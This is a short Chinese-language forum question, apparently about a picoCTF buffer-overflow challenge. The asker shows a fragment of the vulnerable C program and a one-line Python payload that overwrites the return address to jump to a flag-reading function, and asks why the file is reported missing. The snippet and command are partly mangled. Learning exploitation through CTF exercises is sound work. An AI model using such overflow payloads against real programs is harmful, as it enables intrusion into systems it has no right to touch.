对于picoCTF,我必须通过溢出缓冲区并将返回地址更改为将读取文件的函数来读取受限制的.txt文件。我已经做到了,但是当它运行时,它说“当前目录中缺少'flag.txt'!”
我尝试了其他方法来获得相同的结果,但是由于我不太擅长汇编,所以遇到了问题。
define BUFFSIZE 64
define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
}
$ ls
flag.txt vuln vuln.c
$ python -c“打印'a'* 72 +'\ x8b \ x07 \ x40'” | ./vuln
'flag.txt' missing in the current directory!
我希望打印该文本文件,但是它声称它不存在。